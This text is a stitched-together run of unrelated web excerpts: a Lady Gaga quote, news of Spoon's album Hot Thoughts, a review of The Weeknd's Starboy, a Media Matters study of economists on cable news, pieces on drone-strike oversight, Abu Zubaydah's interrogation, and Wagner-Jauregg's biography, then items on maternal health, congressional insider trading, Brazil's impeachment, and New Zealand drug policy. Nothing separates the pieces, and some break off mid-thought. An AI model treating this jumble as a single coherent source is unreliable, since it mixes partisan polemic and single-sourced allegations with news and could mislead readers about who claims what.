“I love eating pasta and pizza,” says Gaga. “I’m a New York Italian girl. That’s why I have been staying out of New York. My father [Joe Germanotta] opened a restaurant. It's so amazing … it’s so freaking delicious, but I’m telling you I gain five pounds every time I go in there. So my dad wants me to eat at the restaurant, and I’m, like, I’ve got to go where I can drink green juice.”
There’s no confirmation or further information from the band just yet, but the new album will be released via Matador Records. Their most recent album was 2014’s They Want My Soul.
UPDATE 1/16: Hot Thoughts will be released on Matador Records, the label that released Spoon’s earliest records, according to a since-deleted post in Matador’s UK web store. Dave Fridmann produced the album. Here is the tracklist:
01 “Hot Thoughts”
02 “WhisperI’lllistentohearit”
03 “Do I Have to Talk You Into It”
04 “First Caress”
05 “Pink Up”
06 “Can I Sit Next To You”
07 “I Ain’t The One”
08 “Tear It Down”
09 “Shotgun”
Given that he’s now a staple of the mainstream world, it’s interesting to hear him go back to his dark, mixtape roots on Starboy rather than extending the grandiose, pop aesthetic of Beauty Behind The Madness. While, Can’t Feel My Face is arguably his biggest hit ever, it’s the success of The Hills that informs this record. It was a record that no one expected to achieve mainstream success and yet it shot to number one in the US proving that radio was perhaps more ready for his dark, hazy sounds than anyone could’ve predicted.
Starboy picks up where The Hills left of. Sure, it’s a glossier, more neon-lit offering, but it’s exactly where The Weeknd wants to be lyrically – demonic with a slight hint of confidence. Over a Daft Punk-provided, pulsating beat he introduces us to the album by singing, “I’m tryna put you in the worst mood.” It’s an unlikely hit, but he slides through those velvety verses with such conviction that it’s almost impossible to turn away. Sung by anyone else, it would’ve been monotonous to the point of boredom.
Lyrically, Starboy is about the downside of fame and money. He’s navigating temptation and dealing with some of the disappointment that comes with getting rich after you’ve spent your whole life chasing it. Party Monster is a woozy, distorting cut that pairs his partying ways with a sense of loneliness while Attention deals with a degrading relationship over an emotion-packed Cashmere Cat beat. He’s got the whole world looking at him with much of them on his side but he’s still haunted by loneliness, social anxiety and the fear of being misunderstood.
Reminder deals with the fear of being misunderstood impeccably, reminding people that he’s not the sort of popstar that’s going to water things down for anyone. “I just won a new award for a kids show/Talking ’bout a face numbing off a bag a blow/I’m like goddamn bitch I am not a Teen Choice,” he sings in perhaps the best line of the entire record, addressing the fact that he scored a worldwide hit with a song about cocaine. The Weeknd is one of the few artists around right now who has been able to crack the mainstream without diluting his lyrical content and that’s Starboy‘s greatest success – it’s packed full of hits and it still sounds distinctly like a The Weeknd record.
Hitmaker Martin pops back up here on one occasion for the closest song to the funk-tinges of Can’t Feel My Face, Rockin. It’s a glossy, refined track but The Weeknd’s MJ-esque vocals make it work and he does the same thing on the equally funky Secrets, using the depths of his voice to make a straightforward pop song haunting. Elsewhere on the record, the pop vibe doesn’t work so well. A Lonely Night feels like a limp and unnecessary inclusion on the record and Love To Lay suffers from poor lyrics like, “In your heart, we are nothing but strangers in the end.” That said, closer I Feel It Coming is one of the most accessible pop songs he’s ever written and it’s heartwarming and euphoric in a way he’s never been before. Daft Punk’s groovy but not overbearing production has a lot to do with that.
The Weeknd has all the resources right now and he really could’ve worked with anyone he liked on Starboy so it’s impressive that he’s only chosen ones that make sense. It’s a dream team list of people many of whom are friends and it shows. Lana Del Rey and The Weeknd are kindred spirits and she slots into Stargirl Interlude like she’s his female alter-ego. Future is also a prime inclusion, adding a roughness to All I Know which is juxtaposed by The Weeknd’s velvety tones. Kendrick Lamar is the best rapper in the world right now, but he’s delivered some seriously phoned in verses this year from Maroon 5 to Sia. The Weeknd demands better though and Lamar’s verse on Sidewalks is frenzied and furious, helping elevate it to the album’s rightful centrepiece and highlight.
Production-wise, he’s also chosen wisely. Cashmere Cat perfectly occupies that space between electronica and R&B which is fast becoming The Weeknd’s sweet spot, Diplo darkens his festival-ready EDM and heads towards the hip-hop world on Nothing Without You and Metro Boomin expectedly delivers the album’s trap moment. Apart from the latter, they’re not obvious collaborators but The Weeknd pulls them into his world rather than letting them yank him in another sonic direction.
While, he’s masterfully curated and edited the album’s collaborators, he hasn’t shown the same expertise when it comes to the tracklisting. At 18 songs, it’s way too long and it really falters at the halfway point because it all starts to blend together. There’s so much gold here but some of the later highlights like All I Know are watered down by unnecessary inclusions prior.
In the hour following President Obama's February 9 press conference -- during which he gave a brief address about the economic recovery legislation currently moving through Congress -- cable news programs featured guests and panelists to discuss Obama's remarks. But CNN, Fox News, and MSNBC did not bring on a single economist to discuss the plan. The absence of economists in the post-press conference discussion was consistent with the observation made by Crooksandliars.com founder John Amato in a February 4 article on The Huffington Post: "I'm sure you've heard about the hundreds of economists that are either for or against President Obama's stimulus plan. My question to the media is: Where are they?" Indeed, a Media Matters for America review of the Sunday talk shows and 12 cable news programs from January 25 through February 8 found that during 139 1/2 hours of programming on Sunday mornings and weekday afternoons and evenings, of 460 total guest appearances in discussions about the economic recovery legislation and debate in Congress, only 25 were made by economists -- a mere 5 percent.
Media Matters purposefully used a broad definition of "economist" to be inclusive, coding as an economist any guest who has a master's degree or doctorate in economics or who has served as an economics professor at a university or college, as best as we could determine. (All current members of Congress were coded as non-economists.)
On cable news channels, economists made a total of 18 guest appearances out of a total of 399 guest appearances in broadcasts that included guest discussions of the stimulus. The show that featured the most guest appearances by economists was Fox News' Glenn Beck, which featured seven: Arthur Laffer, Stephen Moore (who appeared twice), Barry Ritholtz, Amity Shlaes, Thomas Sowell, and Ben Stein:
Cable channels Program Economist guest appearances in which stimulus was discussed % Total guest appearances in which stimulus was discussed Hours of programming in which stimulus was discussed The Situation Room 3 4% 73 30 Lou Dobbs Tonight 1 4% 27 10 Campbell Brown: No Bias, No Bull 0 0% 26 8 Anderson Cooper 360 (10 p.m. ET hour only) 0 0% 31 9 Your World with Neil Cavuto 2 4% 53 10 Glenn Beck 7 33% 21 9 The O'Reilly Factor 1 7% 15 7 Hannity 0 0% 44 10 Hardball with Chris Matthews (5 p.m. ET hour only) 1 2% 46 10 1600 Pennsylvania Avenue 1 3% 37 9 Countdown with Keith Olbermann 1 7% 15 9 The Rachel Maddow Show 1 9% 11 8
Among the Sunday shows, ABC's This Week was the only one to feature at least one economist on each broadcast:
Sunday shows Program Economist guest appearances in which stimulus was discussed % Total guest appearances in which stimulus was discussed Number of broadcasts in which stimulus was discussed This Week 3 15% 20 3 Face the Nation 1 14% 7 3 Meet the Press 2 14% 14 3 Fox News Sunday 1 5% 20 3
The following is a list of all the guest appearances by economists coded in the study:
Date Network Show Guest 1/28/2009 MSNBC Hardball with Chris Matthews Armey, Dick 2/5/2009 CNN Lou Dobbs Tonight Ferguson, Niall 2/4/2009 MSNBC Countdown with Keith Olbermann Huffington, Arianna 1/25/2009 ABC This Week Krugman, Paul 2/4/2009 MSNBC The Rachel Maddow Show Krugman, Paul 1/28/2009 FNC Glenn Beck Laffer, Arthur 1/28/2009 FNC Glenn Beck Moore, Stephen 2/2/2009 FNC Glenn Beck Moore, Stephen 1/27/2009 MSNBC 1600 Pennsylvania Avenue Orszag, Peter 2/5/2009 CNN The Situation Room Orszag, Peter 2/5/2009 FNC Your World with Neil Cavuto Orszag, Peter 2/8/2009 ABC This Week Reich, Robert 2/3/2009 FNC Glenn Beck Ritholtz, Barry 1/30/2009 CNN The Situation Room Rivlin, Alice 2/8/2009 CBS Face the Nation Romer, Christina 1/26/2009 FNC Glenn Beck Shlaes, Amity 1/30/2009 FNC Glenn Beck Sowell, Thomas 1/30/2009 FNC Glenn Beck Stein, Ben 2/6/2009 FNC The O'Reilly Factor Stein, Ben 1/25/2009 NBC Meet the Press Summers, Larry 2/8/2009 ABC This Week Summers, Larry 2/8/2009 FNC Fox News Sunday Summers, Larry 1/30/2009 FNC Your World with Neil Cavuto Wheelan, Charles 2/1/2009 NBC Meet the Press Zandi, Mark 2/6/2009 CNN The Situation Room Zandi, Mark
A list of all the guests who discussed the recovery plan classified as either economists or non-economists is available here.
As Media Matters has documented, media coverage of the plan has been marred by conservative falsehoods and misinformation.
Methodology
Media Matters coded the following cable news shows for the weeks of January 26-30 and February 2-6:
The Situation Room (4-7 p.m. ET), CNN
Lou Dobbs Tonight, CNN
Campbell Brown: No Bias, No Bull, CNN
Anderson Cooper 360 (10 p.m. ET hour only), CNN
Your World with Neil Cavuto, Fox News
Glenn Beck, Fox News
The O'Reilly Factor (8 p.m. ET broadcast only), Fox News
Hannity, Fox News
Hardball with Chris Matthews (5 p.m. ET broadcast only), MSNBC
1600 Pennsylvania Avenue, MSNBC
Countdown with Keith Olbermann (8 p.m. ET broadcast only), MSNBC
The Rachel Maddow Show (9 p.m. ET broadcast only), MSNBC
Media Matters also coded the Sunday-morning talk shows on ABC, CBS, Fox, and NBC for January 25, February 1, and February 8. All shows were one hour long except for CBS' Face the Nation, which runs for 30 minutes:
Face the Nation, CBS
Fox News Sunday, Fox
Meet the Press, NBC
This Week, ABC
Media Matters counted as appearances instances in which someone appeared as a guest on a show -- either live during the show or in a taped interview aired during the show -- and discussed the economic recovery plan. If a guest appeared more than once in a broadcast during separate segments, that guest was counted only one time for the purposes of this study. Reported stories and news packages were not included in the study. Guests who did not participate in a discussion of the plan were also not included in the study.
All guests coded were classified as either an "economist" or "other." To be classified as an economist, a guest must have received an advanced degree in economics or served as an economics professor at a college or university. We used bios, profiles, resumes, and news stories available online to determine as best we could each guest's educational background and professional experience. We coded all current members of Congress as "other" without assessing their educational or prior professional background. Ben Stein, whose bio states that he "worked as an economist at The Department of Commerce," was coded as an economist.
Other Congressional committees you might expect to exercise some oversight of the White House drone programs have faced criticism for being ineffective. In January, Vicki Divoll, a former Senate Intelligence Committee staffer, took Senate Judiciary Chairman Patrick Leahy to task in The New York Times for "limply requesting the Department of Justice memorandums that justify the targeted killing program." The House Judiciary Committee has likewise opted for the velvet glove. In December, it procedurally scuttled a resolution from since-retired Rep. Dennis Kucinich demanding more information from the administration on drone strikes. The committee's leaders said they were seeking the information by other means and didn’t want to up the ante just yet.
Other committees have fared just as poorly. "The Senate Foreign Relations and House Foreign Affairs Committees have never received any briefings," says Zenko. "They've threatened to withhold funding, and the administration has said, 'Go ahead and try it.'" This means, Zenkos says, the committees "can't really do their oversight function."
It should be noted that Congress has, in fact, done meaty work on intelligence since September 11, 2001. It created an Office of the Director of National Intelligence and completely reshaped the bureaucracy of the intelligence community. But when it comes to some of the most controversial recent programs, it either hasn't been able to put an end to them or has chosen not to do so. Congress' response to the Bush administration’s warrantless surveillance program was to effectively authorize it. It also tried multiple times, without success, to ban the Bush administration's harsh interrogation methods. And Congress is one of the major reasons that the Guantanamo Bay detention facility remains open. Each year, lawmakers renew a series of hurdles that make it exceptionally difficult for the executive branch to transfer prisoners elsewhere.
"We still have better oversight with respect to intelligence than any nation in the world," says Loch K. Johnson, a University of Georgia political science professor who once served as a Hill intelligence staffer. But that doesn't mean it's anywhere near enough, Johnson says.
It will probably be hard for Senators to push Brennan off his talking points when they question him Thursday, but it will at least be an opportunity to ask questions.
After years of work, Wyden says he is pleased by the White House's Wednesday evening release of the Office of Legal Counsel opinions on the targeted killing of U.S. citizens. On Wednesday morning, Wyden said he would "pull out all the stops" to get the memos, which reporters widely interpreted as a filibuster threat to Brennan’s nomination. But Wyden says that wasn't the idea. "What happened here is the cumulative effect about how strong the sentiment was on this," he says.
What happens next will depend, in part, on what Senate Intelligence Committee members make of the memos when they view them before Brennan's hearing. But there are already signs that Congress is paying a price for being tardy to the fight. According to reports, Brennan has wanted to shift more of the drone strike burden from the CIA to the military. That's what human rights and civil liberties groups want, too: Prasow said the military is more transparent than the CIA, at least, which gives the public a better chance at insight into what’s really happening.
Ironically, then, by the time Brennan comes before the Intelligence Committee to discuss drone strikes, he might not be the best person to talk to about it anymore.
"The time to ask questions about this issue was yesterday," Zenko says, referring to the Senate Armed Services hearing on Obama’s nominee for Defense Secretary. "The questions to ask were to Chuck Hagel, if the Pentagon is going to be the lead authority on drone strikes. Not surprisingly, nobody asked the question at all."
Hayden did not disclose one of the al Qaeda suspects whose tapes were destroyed. But he did identify the other. It was Abu Zubaydah, the top ranking terror suspect when he was tracked and captured in Pakistan in 2003. In September 2006, at a press conference in which he defended American interrogation techniques, President Bush also mentioned Abu Zubaydah by name. Bush acknowledged that Zubaydah, who was wounded when captured, did not initially cooperate with his interrogators, but that eventually when he did talk, his information was, according to Bush, "quite important."
In my 2003 New York Times bestseller, Why America Slept: The Failure to Prevent 9/11, I discussed Abu Zubaydah at length in Chapter 19, "The Interrogation." There I set forth how Zubaydah initially refused to help his American captors. Also, disclosed was how U.S. intelligence established a so-called "fake flag" operation, in which the wounded Zubaydah was transferred to Afghanistan under the ruse that he had actually been turned over to the Saudis. The Saudis had him on a wanted list, and the Americans believed that Zubaydah, fearful of torture and death at the hands of the Saudis, would start talking when confronted by U.S. agents playing the role of Saudi intelligence officers.
Instead, when confronted by his "Saudi" interrogators, Zubaydah showed no fear. Instead, according to the two U.S. intelligence sources that provided me the details, he seemed relieved. The man who had been reluctant to even confirm his identity to his U.S. captors, suddenly talked animatedly. He was happy to see them, he said, because he feared the Americans would kill him. He then asked his interrogators to call a senior member of the Saudi royal family. And Zubaydah provided a private home number and a cell phone number from memory. "He will tell you what to do," Zubaydah assured them
That man was Prince Ahmed bin Salman bin Abdul-Aziz, one of King Fahd's nephews, and the chairman of the largest Saudi publishing empire. Later, American investigators would determine that Prince Ahmed had been in the U.S. on 9/11.
American interrogators used painkillers to induce Zubaydah to talk -- they gave him the meds when he cooperated, and withdrew them when he was quiet. They also utilized a thiopental sodium drip (a so-called truth serum). Several hours after he first fingered Prince Ahmed, his captors challenged the information, and said that since he had disparaged the Saudi royal family, he would be executed. It was at that point that some of the secrets of 9/11 came pouring out. In a short monologue, that one investigator told me was the "Rosetta Stone" of 9/11, Zubaydah laid out details of how he and the al Qaeda hierarchy had been supported at high levels inside the Saudi and Pakistan governments.
He named two other Saudi princes, and also the chief of Pakistan's air force, as his major contacts. Moreover, he stunned his interrogators, by charging that two of the men, the King's nephew, and the Pakistani Air Force chief, knew a major terror operation was planned for America on 9/11.
It would be nice to further investigate the men named by Zubaydah, but that is not possible. All four identified by Zubaydah are now dead. As for the three Saudi princes, the King's 43-year-old nephew, Prince Ahmed, died of either a heart attack or blood clot, depending on which report you believe, after having liposuction in Riyadh's top hospital; the second, 41-year-old Prince Sultan bin Faisal bin Turki al-Saud, died the following day in a one car accident, on his way to the funeral of Prince Ahmed; and one week later, the third Saudi prince named by Zubaydah, 25-year-old Prince Fahd bin Turki bin Saud al-Kabir, died, according to the Saudi Royal Court, "of thirst." The head of Pakistan's Air Force, Mushaf Ali Mir, was the last to go. He died, together with his wife and fifteen of his top aides, when his plane blew up -- suspected as sabotage -- in February 2003. Pakistan's investigation of the explosion -- if one was even done -- has never been made public.
Early life [ edit ]
Wagner-Jauregg family arms, granted in 1883.
Julius Wagner-Jauregg was born Julius Wagner on 7 March 1857 in Wels, Upper Austria, the son of Adolph Johann Wagner and Ludovika Jauernigg Ranzoni.[2] His family name was changed to "Wagner von Jauregg" when his father was given the title of "Ritter von Jauregg" (a hereditary title of nobility) in 1883 by the Austro-Hungarian Empire. Hence he retained the name Julius Wagner Ritter von Jauregg until 1918 when the empire was dissolved, and nobility was abolished. The family name was then contracted to "Wagner-Jauregg".[3] He attended the Schottengymnasium in Vienna before going on to study Medicine at the University of Vienna from 1874 to 1880, where he also studied with Salomon Stricker in the Institute of General and Experimental Pathology. He obtained his doctorate in 1880 with the thesis "L'origine et la fonction du cœur accéléré."[2] He left the institute in 1882.
Later years [ edit ]
After leaving the clinic, he conducted laboratory experiments with animals, which was practiced very little at this time.[2] From 1883 to 1887 he worked with Maximilian Leidesdorf in the Psychiatric Clinic, although his original training was not in the pathology of the nervous system. In 1889 he succeeded the famous Richard von Krafft-Ebing at the Neuro-Psychiatric Clinic of the University of Graz, and started his research on Goitre, cretinism and iodine. In 1893 he became Extraordinary Professor of Psychiatry and Nervous Diseases, and Director of the Clinic for Psychiatry and Nervous Diseases in Vienna, as successor to Theodor Meynert. A student and assistant of Wagner-Jauregg during this time was Constantin von Economo.
Ten years later, in 1902, Wagner-Jauregg moved to the psychiatric clinic at the General Hospital and in 1911 he returned to his former post.
Nobel prize [ edit ]
Wagner-Jauregg (center right in black jacket) watching a transfusion from a malaria patient (rear of the group) to a neurosyphilis victim (center) in 1934
The main work pursued by Wagner-Jauregg throughout his life was related to the treatment of mental disease by inducing a fever, an approach known as pyrotherapy. In 1887 he investigated the effects of febrile diseases on psychoses, making use of erisipela and tuberculin (discovered in 1890 by Robert Koch). Since these methods of treatment did not work very well, he tried in 1917 the inoculation of malaria parasites, which proved to be very successful in the case of dementia paralytica (also called general paresis of the insane), caused by neurosyphilis, at that time a terminal disease.[4] It had been observed that some who develop high fevers could be cured of syphilis. Thus, from 1917 to the mid 1940s, malaria induced by the least aggressive parasite, Plasmodium vivax, was used as treatment for tertiary syphilis because it produced prolonged and high fevers (a form of pyrotherapy). This was considered an acceptable risk because the malaria could later be treated with quinine, which was available at that time. This discovery earned him the Nobel Prize in Medicine in 1927. His main publication was a book titled Verhütung und Behandlung der progressiven Paralyse durch Impfmalaria (Prevention and treatment of progressive paralysis by malaria inoculation) in the Memorial Volume of the Handbuch der experimentellen Therapie, (1931). The technique was known as malariotherapy; however, it was dangerous, killing about 15% of patients, so it is no longer in use.[5]
Sex treatment for psychosis [ edit ]
Wagner-Jauregg administered thyroid and ovarian preparations to young psychotic patients who had experienced delayed puberty, which led to the development of their secondary sexual characteristics and diminished psychosis. Other patients were deemed schizophrenic because of excessive masturbation, where Wagner-Jauregg sterilized them, resulting in an "improved" condition.[6]
Retirement [ edit ]
In 1928, Wagner-Jauregg retired from his post but remained active and in good health until his death on 27 September 1940. In his retirement he published nearly 80 scientific papers.[2] Many schools, roads and hospitals are named after him in Austria.
Nazi ideology and affiliation [ edit ]
Towards his last days Wagner-Jauregg was influenced by Hitler's German nationalism, and became an anti-Semite[7] and sympathizer of Nazism.[8] Documentary evidence indicates that he supported the Nazi party shortly after the invasion of Austria in 1938 by Germany.[9][10][11][12] However, a denazification commission in Austria found that his application for NSDAP membership had been refused "...on grounds of race", as his first wife was Jewish.[13]
Wagner-Jauregg advocated a racial hygiene ideology called eugenics,[13] influencing students such as Alexander Pilcz, who went on to author a standard handbook on racial psychiatry critical of Jews for being prone to mental illness.[14]
He was also an advocate of forced sterilization of the mentally ill and criminal,[11] having endorsed the concept in 1935 while a member of the Austrian Anthropological Society.[15]
He was President of the Austrian League for Racial Regeneration and Heredity, which advocated sterilization for those of inferior genetics.[16]
See also [ edit ]
References [ edit ]
A new report ranked the United States 61st globally in maternal health, worst among developed nations. From CBS News:
Save the Children, a global nonprofit organization aimed at improving the health of children worldwide, ranked 179 countries based on five indicators: maternal health, children's well-being, and education, economic, and political status. When taking all of these factors into account, the United States slid to 33rd place worldwide, down two spots in the rankings compared to last year. [...] While the United States performed well on economic and educational status -- 9th and 16th best, respectively -- in addition to its poor standing in maternal health, it ranked 42nd in children's well-being and 89th in political status, as measured by women's representation in national government.
Republicans Carly Fiorina, Mike Huckabee, and Ben Carson, as well as Democratic candidate Bernie Sanders, all appeared on political talk shows during Mother's Day, but none of them were asked about how they might address the nation's tragic infant mortality rate, reproductive health discrimination, or the fact that the United States is the only industrialized nation without paid maternity leave.
NBC's Meet the Press tackled the topic in a Mother's Day-themed panel at the end of its show, but host Chuck Todd neglected to ask Republican presidential candidate Carly Fiorina about what her approach would be to correct the U.S.'s maternal failings if she were to be elected. Instead of discussing Fiorina's dubious claims about the origins of gender pay equity, the two discussed free trade, her business record, and her lack of political experience. Todd did wish the candidate a "Happy Mother's Day."
Carson appeared on Fox's Fox News Sunday, where host Chris Wallace began an interview by asking Carson about his ailing mother and asking the candidate to describe how she raised Carson out of "dire poverty" in Detroit. Carson answered that his mother encouraged him to read, and that access to books made all the difference. But Wallace failed to ask Carson how he might increase the chances for other mothers and their children to thrive.
CBS' Bob Schieffer interviewed a pair of 2016 presidential candidates on the Mother's Day edition of Face the Nation, but he failed to ask either Mike Huckabee or Bernie Sanders about policy stances affecting U.S. mothers. Schieffer pressed Huckabee on the threat of ISIS, reforming Social Security, and his past hawking of fake diabetes cures, while focusing most of his discussion with Sanders on Hillary Clinton. Sanders nevertheless took the opportunity to cite Mother's Day and raise concerns about the U.S.'s child care system, which he called a "total disaster."
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All of which again raises the question: Is such behavior actually legal?
The conventional wisdom says yes: Insider-trading laws don't apply to Congress. Indeed, years after it was proposed, the "Stop Trading on Congressional Knowledge" — or STOCK Act — is finally now gaining steam, in hopes of illegalizing such conduct.
Not to discourage that noble enterprise, but trading on congressional secrets is already decidedly illegal. The "misappropriation theory" of insider trading prohibits corporate outsiders from breaching duties of confidentiality to sources of non-public information in connection with securities transactions. To the extent it's constitutional, it's the theory that prevents, for instance, staffers of this publication from trading on information learned at work before it's made public. Those who exempt Congress from this rule typically argue that congressional insider trading violates no duty, or that congressional information is inherently "public" and therefore non-confidential. Neither is true.
Misappropriation theory
The argument that no duty is violated is wrong on many levels. Congressional insider trading violates some, if not all, of the duties the misappropriation theory recognizes (duties formed by agreement, duties arising out of a history, pattern, or practice of confidentiality, and fiduciary duties), depending on who's trading.
First, staffers and legislators who trade or tip on workplace secrets violate duties formed by agreement. The Standing Rules of the Senate prohibit senators and staff from disclosing confidential Senate information. The Code of Government Ethics, which applies to all federal employees, likewise prohibits them from using confidential workplace information for private profit. It was actually used in 1976 to reprimand a Florida congressman who invested in a bank he was legislatively promoting. Surely, when legislators swear to "support and defend the Constitution," they agree to be bound by ethical rules like these, which the Constitution provides for explicitly.
Second, staffers and legislators have duties arising from histories, patterns, or practices of sharing confidences with each other. Even under the most cynical view of legislative secret-keeping, at least some congressional secrets are genuinely expected to be kept, and not to be used for personal gain. Trading on them, therefore, violates this type of duty as well.
Third, staffers who trade or tip (pass along) on secrets learned on the job violate fiduciary duties arising from principal/agent relationships with their legislator-bosses.
Confidentiality rule
Tellingly, the Senate's confidentiality rule was built on the need for "mutual trust among members," who must be able to engage in "candid discussions." The fact that such "candid" discussions take place should also put to rest the absurd notion that congressional insider trading is legal because "all congressional information is public."
Under the misappropriation theory, information is confidential until the market takes it into account. So while a C-SPAN broadcast is public, other congressional business occurs behind closed doors, meaning that it's confidential for insider-trading purposes until the market finds out about it.
The frailty of these legal arguments raises the question of whether it's a failure of enforcement, not authority, which permits this behavior. The Securities and Exchange Commission, with its vast subpoena power, is seemingly equipped to act against this betrayal of the public trust right now. Congressional immunity is no obstacle; it applies only to acts that are "clearly part of the legislative process," which personal enrichment is not supposed to be.
Imagine the deterrent impact of just one enforcement action against congressional insider trading. We already know the impact of non-enforcement: it's just another piece of congressional knowledge to be traded on.
The gloomy and repulsive night when the female President of the 7th largest economy in the world was the prey of choice fed to a lynch mob of hyenas in a drab, provincial Circus Maximus will forever live in infamy.
By 367 votes for and 137 against, the impeachment/coup/regime change-light drive against Dilma Rousseff cleared the Brazilian Congressional circus and will now go to the Senate, where a “special commission” will be set up. If approved, Rousseff will then be sidelined for 180 days and a low rent tropical Brutus, Vice-President Michel Temer, will ascend to power until the Senate’s final verdict.
"In a nutshell, the ultimate aim is to perfectly “align” the Brazilian Executive, Legislative, Judiciary and corporate media interests"
This lowly farce should serve as a wake-up call not only to the BRICS but to the whole Global South. Who needs NATO, R2P (“responsibility to protect”) or “moderate rebels” when you can get your regime change just by tweaking a nation’s political/judicial system?
The Brazilian Supreme Court has not analyzed the merit of the matter – at least not yet. There’s no solid evidence anywhere Rousseff committed a “crime of responsibility”; she did what every American President since Reagan has done – not to mention leaders all across the world; along with her Vice-President, the lowly Brutus, Rousseff got slightly creative with the federal budget’s numbers.
The coup has been sponsored by a certified crook, president of the lower house Eduardo Cunha; holder of 11 illegal accounts in Switzerland, listed in the Panama Papers and under investigation by the Supreme Court. Instead of lording over near-illiterate hyenas in a racist, largely crypto-fascist circus, he should be behind bars. It beggars belief that the Supreme Court has not turbo-charged legal action against Cunha. The secret of his power over the circus is a gigantic corruption scheme lasting many years featuring companies/corporations contributing to his and others’ campaign financing.
And that’s the beauty of a soft coup/regime change-light/color revolution chapter of Hybrid War when staged in such a dynamically creative nation such as Brazil. The hall of mirrors yields a political simulacrum that would have driven deconstructionists Jean Baudrillard and Umberto Eco, if alive, green with envy; a Congress crammed with fools/patsies/traitors/crooks who are already being investigated for corruption has conspired to depose a President who is not under any formal corruption investigation – and has not committed any “crime of responsibility”.
The neoliberal restoration
Still, without a popular vote, the – massively rejected - tropical Brutus twins, Temer and Cunha, will find it impossible to govern, even though they would perfectly incarnate the project of the – immensely arrogant/ignorant – Brazilian elites; a neoliberal triumph, with Brazilian “democracy” trampled down six feet under.
It’s impossible to understand what happened at the Circus Maximus this Sunday without knowing there’s a gaggle of Brazilian political parties that are seriously threatened by the non-stop overspill of the Car Wash corruption investigation. To ensure their survival, Car Wash must be “suspended”; and it will, under the bogus “national unity” proposed by lowly Brutus Temer.
But first, Car Wash must produce a high-profile scalp. And that has to be Lula in jail – compared to which the crucifixion of Rousseff is an Aesop fable. Corporate media, led by the noxious Globo empire, would hail it as the ultimate victory, and nobody would care about Car Wash’s enforced retirement.
The 54 million-plus who voted for Rousseff’s reelection in 2014 voted wrong. The overall “project” is a government without vote and without people; a Brazilian-style parliamentary system, without bothering with pesky “elections” and crucially, including very “generous” campaign financing flexibility not bound to incriminate powerful companies/corporations.
In a nutshell, the ultimate aim is to perfectly “align” the Brazilian Executive, Legislative, Judiciary and corporate media interests. Democracy is for suckers. Brazilian elites remote controlling the hyenas know very well that if Lula runs again in 2018, he will win.
And Lula has already warned; he won’t buy any “national unity” crap, he’ll be back in the streets fighting whatever illegitimate government pops up.
We’re now open for plundering
As it stands, Rousseff runs the risk of becoming the first major casualty of the NSA-originated, two-year-long Car Wash investigation. The President, admittedly an incompetent economic manager and lacking the right stuff of a master politician, believed that Car Wash – which practically prevented her from governing – would not reach her because she is personally honest. Yet Car Wash’s not so hidden agenda was always regime change. Who cares if in the process the nation is left on the verge of being controlled exactly by many of those indicted by the anti-corruption drive?
Lowly Brutus Temer – a vanity case version of Argentina’s Macri - is the perfect conduit for the implementation of regime change. He represents the powerful banking lobby, the powerful agribusiness lobby and the powerful federation of industries in Brazil’s economic leader, the state of Sao Paulo.
The neo-developmentalist project for Latin America – uniting at least some of the local elites, invested in developing internal markets, in association with the working classes – is now dead, because what may be defined as sub-hegemonic, or peripheral, capitalism is mired in crisis after the 2008 Wall Street-provoked debacle. What’s left is just neoliberal restoration. TINA (“there is no alternative”). This implies, in the Brazilian case, the savage reversion of Lula’s legacy; social policies, technological policies, the drive to globally expand large, competitive Brazilian companies, more public universities, better salaries.
In a message to the nation, Brutus Temer admitted as much; “hope” after impeachment will be absolutely swell for “foreign investment”, as in let them plunder the colony at will; back to the trademark history of Brazil since 1500.
So Wall Street, US Big Oil and the proverbial “American interests” win this round at the circus – thanks to the, once again proverbial, vassal/comprador elites. Chevron execs are already salivating with the prospect of laying their hands on the pre-salt oil deposits; that was already promised by a trusted vassal in the Brazilian opposition.
While governments in Europe and the United States frantically ban substances to keep up with new synthetic drugs, lawmakers in New Zealand are using reason and a sensible legislative process to “to protect vulnerable consumers, particularly young people.”
Yet far from being another ham-fisted crackdown on drugs, the New Zealand proposal represents the first steps to a regulated market, which would require any new substances to go through a lengthy testing process before they could be approved for legal sale.
Potential manufacturers of new psychoactive substances will have to submit to roughly $180,000 NZD (£95,000 GBP) in application fees plus an additional NZ$1m to NZ$2m (around £526,000 to £1.05m) in costs to test each product they want to sell.
And there are strict penalties for attempts to bypass the law, which could go into effect later this year, including up to eight years in prison.
This is a monumental development for a number of reasons.
First, it has always been difficult to separate the impact of drugs from the impact of bad policies (as the peers group rightfully acknowledged). There is no doubt that so-called “legal highs” (sold as plant food, collector’s items or bath salts) can be very dangerous. But every time they are banned, new – even more hazardous – substitutes hit the market to take their place.
This creates a “Sorcerer’s Apprentice” situation where we find ourselves wishing we were only facing the original adversary. Consider that many synthetic substances in Europe are substitutes for cannabis. In 2011, the European Union officially notified 49 new psychoactive substances through its early warning system, 23 of which were synthetic cannabinoids.
While there are risks to using cannabis that should certainly be addressed, no-one is ever known to have suffered a fatal overdose on it and its health impacts are considerably better understood than its synthetic counterparts.
“Evidence presented here indicates that, paradoxically, the banning of one drug can make the situation worse by stimulating the production of yet more new, unknown and potentially dangerous substances,” the All-Party group writes.
The New Zealand policy aims to halt the legislative incentive to develop more new drugs.
Furthermore, one very serious danger of current policies on synthetic substances is that their main purpose for being is to evade accountability. As it stands, legal highs – though often using banned components – exist in a grey area. As various pieces of legislation scramble to control them, various substances often remain unregulated, unknown and out of control. No one knows their impacts and the only way to find out is by hard, sometimes deadly, experience.
And once the system takes control – via criminal sanctions – the process begins again with newer more enigmatic substances emerging.
“Each new substance may be more harmful than the substance it replaces,” the report adds. “But more than anything, young people are taking substances whose content and strength are unknown to them. The risks of harm/overdose must be greater than for well established substances.”
Which leads us to the most important factor in this new policy -- it may actually tell us something about prohibition in general.
In 2008, the United Nations Office on Drugs and Crime discussed unintended consequences of the current control system. One was referred to as “substance displacement” – which is to say, “If the use of one drug was controlled, by reducing either supply or demand, suppliers and users moved on to another drug with similar psychoactive effects, but less stringent controls … The increasing popularity of synthetic drugs can be better understood also in this light.”
This comes very close to acknowledging that potentially harmful legal highs are a byproduct of prohibition.
Existing drug policies are generally rooted in the false assumption that if you make something illegal, people won’t use it and hence they will be protected from its harms. In the end, the exact opposite tends to be true because once something is illegal, the standard policy levers of government are out of reach.
As the All-Party group writes, “A useful feature of New Zealand’s planned policy is to assess both the harms arising from a particular substance and the harms arising from controlling it.”
Might we the UK also be better served by begin regulatory processes to understand the drugs that people are taking and developing policies that address their relative risks?
That is precisely what New Zealand has started doing. It’s worth a closer look.
